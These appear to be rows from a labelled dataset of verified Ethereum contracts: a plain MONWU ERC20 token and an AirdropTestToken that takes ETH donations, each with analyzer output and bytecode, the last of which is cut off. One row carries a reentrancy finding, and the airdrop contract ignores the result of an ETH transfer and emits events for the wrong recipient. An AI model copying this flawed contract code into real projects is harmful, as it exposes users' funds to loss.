{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 7,876 |
0x34cdf8aeb762508d480f91ad9d30e6c1b1c02e80
|
/**
*Submitted for verification at Etherscan.io on 2021-12-22
*/
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'MONWU' contract
//
// Symbol : MONWU
// Name : MONWU
// Total supply: 1 000 000 000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract MONWU is BurnableToken {
string public constant name = "MONWU";
string public constant symbol = "MONWU";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 1000000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280600581526020017f4d4f4e575500000000000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a633b9aca000281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600581526020017f4d4f4e575500000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea2646970667358221220f41002a734509a276c7a4a3a54fdf1ed02e28dcb48e82b9e9266d03f212bc77064736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 7,877 |
0x6ac1df9de8602db25a6378b6a89175de62b402fa
|
/**
*Submitted for verification at Etherscan.io on 2021-01-14
*/
/**
* SPDX-License-Identifier: UNLICENSED;
*
*
* db 88 88""Yb 8888b. 88""Yb dP"Yb 88""Yb 888888 888888 .dP"Y8 888888
* dPYb 88 88__dP 8I Yb 88__dP dP Yb 88__dP 88 88__ `Ybo." 88
* dP__Yb 88 88"Yb 8I dY 88"Yb Yb dP 88""" 88 88"" o.`Y8b 88
* dP""""Yb 88 88 Yb 8888Y" 88 Yb YbodP 88 88 888888 8bodP' 88
* 888888 dP"Yb 88 dP 888888 88b 88
* 88 dP Yb 88odP 88__ 88Yb88
* 88 Yb dP 88"Yb 88"" 88 Y88
* 88 YbodP 88 Yb 888888 88 Y8
*
* This is a test token. Usage on own risk. This is not an investment, security or anything like that.
*
* Tutorial:
* 1) Run requestAirdrop()
* 2) Wait :)
* PRO TIP: Donate 0.1 ETH for 1 or more entries!
*/
pragma solidity 0.8.0;
contract AirdropTestToken {
/**
* @dev Always use this to ensure that the msg.sender is always payable.
*/
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
/**
* @dev A modifier to only allow function calls by the owner.
*/
modifier onlyOwner {
require(owner == msg.sender, "AirdropTestToken: You're not the owner.");
_;
}
mapping (address => uint256) private _balances;
mapping (address => uint256) private _lockedBalances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 private _maxSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint UNIT;
uint public reward;
bool public airdropActive;
address public owner;
uint nextReceiver;
uint receiversCount;
mapping(uint => address) receivers;
mapping(address => uint) received;
mapping(address => bool) isDonator;
mapping(address => uint) lastClaimed;
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when an Airdrop is rewarded.
*/
event Airdrop(address indexed receiver, uint amount);
/**
* @dev Emitted when an tokens are burned.
*/
event Burn(address indexed burner, uint amount);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* Emitted when the owner sends a message.
*/
event OwnerMessage(string message);
/**
* @dev Initialize the project and define the project name, symbol, decimals,
* totalSupply, owner and the price for the shovels.
* Note: There are no pre-mined tokens.
*/
constructor () {
airdropActive = true;
_name = "AirdropTestToken";
_symbol = "ATT";
_decimals = 18;
UNIT = 10 ** _decimals;
reward = 1000 * UNIT;
owner = msg.sender;
nextReceiver = 1;
// Set the total supply to 100.000
_totalSupply = 0;
_maxSupply = 9600000 * UNIT;
// Add this to owners balance
_mint(msg.sender, 100000 * UNIT);
}
/**
* @dev Basic ERC20 getters
* Get the decimals, totalSupply, name and symbol of the token and
* get the balances and allowances of specific addresses.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
// @dev Return the _totalSupply
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
// @dev Return the token balance of account_
function balanceOf(address account_) public view returns (uint256) {
return _balances[account_];
}
// @dev Returns the locked token balance of account_
function lockedBalanceOf(address account_) public view returns (uint256) {
return _lockedBalances[account_];
}
// @dev Return the allowance of spender_ of owner_
function allowance(address owner_, address spender_) public view virtual returns (uint256) {
return _allowances[owner_][spender_];
}
// @dev Return the token name
function name() public view returns (string memory name_) {
return _name;
}
// @dev Return the token symbol
function symbol() public view returns (string memory symbol_) {
return _symbol;
}
// @dev Return who's next
function getNextReceiver() public view returns (uint nextReceiver_) {
return nextReceiver;
}
// @dev Return the address behind `receiverAddress[id_]`
function getReceiver(uint id_) public view returns (address receiverAddress_) {
return receivers[id_];
}
// @dev Return how much `address_` has been airdropped to
function getTotalReceivers() public view returns (uint receiversCount_) {
return receiversCount;
}
// @dev Return how much total airdrops are/will be
function getReceived(address address_) public view returns (uint received_) {
return received[address_];
}
// @dev Return how much `address_` has been airdropped to
function checkIsDonator(address address_) public view returns (bool isDonator_) {
return isDonator[address_];
}
// @dev Create a new Airdrop request
receive() payable external {
requestAirdrop();
}
// @dev Revert when no function is called and no eth are sent.
fallback() external {
revert();
}
/**
* @dev Transfer `amount_` tokens from _msgSender() (msg.sender) to `recipient_`
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient_, uint256 amount_) public returns (bool) {
_transfer(_msgSender(), recipient_, amount_);
return true;
}
/**
* @dev Allow `spender_` to spend `amount_` of tokens of _msgSender() (msg.sender)
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender_, uint256 amount_) public returns (bool) {
_approve(_msgSender(), spender_, amount_);
return true;
}
/**
* @dev Transfer `amount_` tokens from `sender_` to `recipient_`
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender_` and `recipient_` cannot be the zero address.
* - `sender_` must have a balance of at least `amount_`.
* - the caller must have allowance for ``sender_``'s tokens of at least `amount_`.
*/
function transferFrom(address sender_, address recipient_, uint256 amount_) public returns (bool) {
_transfer(sender_, recipient_, amount_);
_approve(sender_, _msgSender(), _allowances[sender_][_msgSender()] - amount_);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender_` by the caller.
*
* This is an alternative to {approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender_` cannot be the zero address.
*/
function increaseAllowance(address spender_, uint256 addedValue_) public returns (bool) {
_approve(_msgSender(), spender_, _allowances[_msgSender()][spender_] + addedValue_);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender_` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender_` cannot be the zero address.
* - `spender_` must have allowance for the caller of at least
* `subtractedValue_`.
*/
function decreaseAllowance(address spender_, uint256 subtractedValue_) public returns (bool) {
_approve(_msgSender(), spender_, _allowances[_msgSender()][spender_] - subtractedValue_);
return true;
}
/**
* @dev Lock `_amount` tokens and burn them.
* @notice Warning! Token locks have NO FUNCTIONALITY BESIDES UPGRADING! DO NOT LOCK IF NOT NEEDED!
*/
function lockTokens(uint _amount) public returns(bool) {
_lockedBalances[_msgSender()] += _amount;
_burn(_msgSender(), _amount);
return true;
}
/**
* @dev Request an AirDrop
* If msg.sender sends eth, get more AirDrops per 0.1 ETH.
* Require to only pay in 0.001 incrementals.
* Note: The price is on purpose set to a high price - to prevent spamming and to only allow generous people to use this :)
*/
function requestAirdrop() payable public returns(bool) {
// Check if airdrop is enabled
require(airdropActive, "AirdropTestToken: Airdrop is over.");
// Airdrop to the next 3 addresses
for(uint i = 1; i <= 3; i++) {
if(receivers[nextReceiver] != address(0)) {
// Reward the Airdrop
_mint(receivers[nextReceiver], reward);
// Give 10 tokens (1%) to the owner
_mint(owner, 10 * UNIT);
received[receivers[nextReceiver]] += reward;
nextReceiver++;
emit Airdrop(receivers[nextReceiver], reward);
}
}
// Add multiple requests when donating
uint requestMultiplier_ = 1;
uint donationSteps_ = 100000000000000000; // 0.1 ETH
// Check if user is donating
if(msg.value >= 1) {
// Only send in 0.1 steps (0.1, 0.2, 0.5, etc.)
uint remain_ = msg.value % donationSteps_;
require(remain_ == 0, "AirdropTestToken: Please send ETH only in 0.1 steps.");
isDonator[_msgSender()] = true;
// Calculate how much additional entries msg.sender gets
requestMultiplier_ = msg.value / donationSteps_;
requestMultiplier_ = requestMultiplier_ * 2;
for(uint i = 1; i <= requestMultiplier_; i++) {
receiversCount++;
receivers[receiversCount] = _msgSender();
}
}
else {
// Reserve 5% of the Airdrop capacity for donating users
require(_totalSupply <= _maxSupply - _totalSupply / 5, "AirdropTestToken: Last 5% supply reserved for donating users.");
// Only allow one airdrop per hour and address
require(block.timestamp - lastClaimed[msg.sender] >= 3600, "AirdropTestToken: You can only get an Airdrop once an hour. Donate to get more.");
}
receiversCount++;
receivers[receiversCount] = _msgSender();
lastClaimed[msg.sender] = block.timestamp;
return true;
}
/**
* @dev Withdraws the current balance
*/
function withdraw() payable public onlyOwner {
_msgSender().call{value: address(this).balance}("");
}
/**
* @dev Disables the airdrop function.
*/
function status() public onlyOwner {
if(airdropActive == true) {
airdropActive = false;
}
else {
airdropActive = true;
}
}
/**
* @dev emits an {OwnerMessage} event with message `message_`
* This is used for communication only.
* No otherwise usage.
* May use twitter 'n stuff instead lol.
*/
function ownerMessage(string memory message_) public onlyOwner {
emit OwnerMessage(message_);
}
/**
* @dev Send (accidentally) to the smart contract sent tokens to the owner.
* Note: The owner CAN NOT send AirdropTest tokens as long as the CONTRACT does not hold them.
*/
function transferERC20(address token_) public {
uint amount_ = IERC20(token_).balanceOf(address(this));
IERC20(token_).transfer(owner, amount_);
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender_, address recipient_, uint256 amount_) internal {
require(sender_ != address(0), "AirdropTestToken: transfer from the zero address");
require(recipient_ != address(0), "AirdropTestToken: transfer to the zero address");
_balances[sender_] = _balances[sender_] - amount_;
_balances[recipient_] = _balances[recipient_] + amount_;
emit Transfer(sender_, recipient_, amount_);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account_, uint256 amount_) internal {
require(account_ != address(0), "AirdropTestToken: mint to the zero address");
require(_totalSupply + amount_ <= _maxSupply, "AirdropTestToken: Amount to mint exceeds max supply.");
_totalSupply = _totalSupply + amount_;
_balances[account_] = _balances[account_] + amount_;
emit Transfer(address(0), account_, amount_);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account_, uint256 amount_) internal {
require(account_ != address(0), "AirdropTestToken: burn from the zero address");
_balances[account_] = _balances[account_] - amount_;
_totalSupply = _totalSupply - amount_;
_maxSupply = _maxSupply - amount_;
emit Transfer(account_, address(0), amount_);
emit Burn(account_, amount_);
}
/**
* @dev Sets `amount_` as the allowance of `spender_` over the `owner_` s tokens.
*
* This internal function is equivalent to {approve}, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner_` cannot be the zero address.
* - `spender_` cannot be the zero address.
*/
function _approve(address owner_, address spender_, uint256 amount_) internal {
require(owner_ != address(0), "AirdropTestTokenRC20: approve from the zero address");
require(spender_ != address(0), "AirdropTestToken: approve to the zero address");
_allowances[owner_][spender_] = amount_;
emit Approval(owner_, spender_, amount_);
}
}
interface IERC20 {
function transfer(address recipient_, uint256 amount_) external returns(bool);
function balanceOf(address account_) external view returns (uint256);
}
|
0x6080604052600436106101855760003560e01c806370a08231116100d15780639843eae31161008a578063c1f55c4511610064578063c1f55c4514610415578063d1d6b73914610435578063dd62ed3e14610455578063f4d764991461047557610195565b80639843eae3146103c0578063a457c2d7146103d5578063a9059cbb146103f557610195565b806370a0823114610321578063725b2c541461034157806383709f20146103495780638da5cb5b1461036957806393b303351461038b57806395d89b41146103ab57610195565b806328fa2b451161013e5780633ccfd60b116101185780633ccfd60b146102c45780634fb912d7146102cc57806359355736146102e15780636e27d8891461030157610195565b806328fa2b451461026d578063313ce5671461028257806339509351146102a457610195565b806306fdde03146101a7578063095ea7b3146101d257806318160ddd146101ff578063200d2ed214610221578063228cb7331461023857806323b872dd1461024d57610195565b3661019557610192610495565b50005b3480156101a157600080fd5b50600080fd5b3480156101b357600080fd5b506101bc6107dd565b6040516101c99190611316565b60405180910390f35b3480156101de57600080fd5b506101f26101ed3660046111c1565b61086f565b6040516101c9919061130b565b34801561020b57600080fd5b5061021461088c565b6040516101c99190611740565b34801561022d57600080fd5b50610236610892565b005b34801561024457600080fd5b506102146108f0565b34801561025957600080fd5b506101f2610268366004611186565b6108f6565b34801561027957600080fd5b5061021461096b565b34801561028e57600080fd5b50610297610971565b6040516101c99190611749565b3480156102b057600080fd5b506101f26102bf3660046111c1565b61097a565b6102366109c9565b3480156102d857600080fd5b50610214610a5d565b3480156102ed57600080fd5b506102146102fc366004611133565b610a63565b34801561030d57600080fd5b506101f261031c3660046112ab565b610a82565b34801561032d57600080fd5b5061021461033c366004611133565b610adf565b6101f2610495565b34801561035557600080fd5b506101f2610364366004611133565b610afa565b34801561037557600080fd5b5061037e610b18565b6040516101c991906112de565b34801561039757600080fd5b506102366103a636600461120a565b610b2c565b3480156103b757600080fd5b506101bc610b95565b3480156103cc57600080fd5b506101f2610ba4565b3480156103e157600080fd5b506101f26103f03660046111c1565b610bad565b34801561040157600080fd5b506101f26104103660046111c1565b610bfc565b34801561042157600080fd5b50610214610430366004611133565b610c10565b34801561044157600080fd5b50610236610450366004611133565b610c2b565b34801561046157600080fd5b50610214610470366004611154565b610d37565b34801561048157600080fd5b5061037e6104903660046112ab565b610d62565b600a5460009060ff166104c35760405162461bcd60e51b81526004016104ba906116fe565b60405180910390fd5b60015b6003811161060357600b546000908152600d60205260409020546001600160a01b0316156105f157600b546000908152600d60205260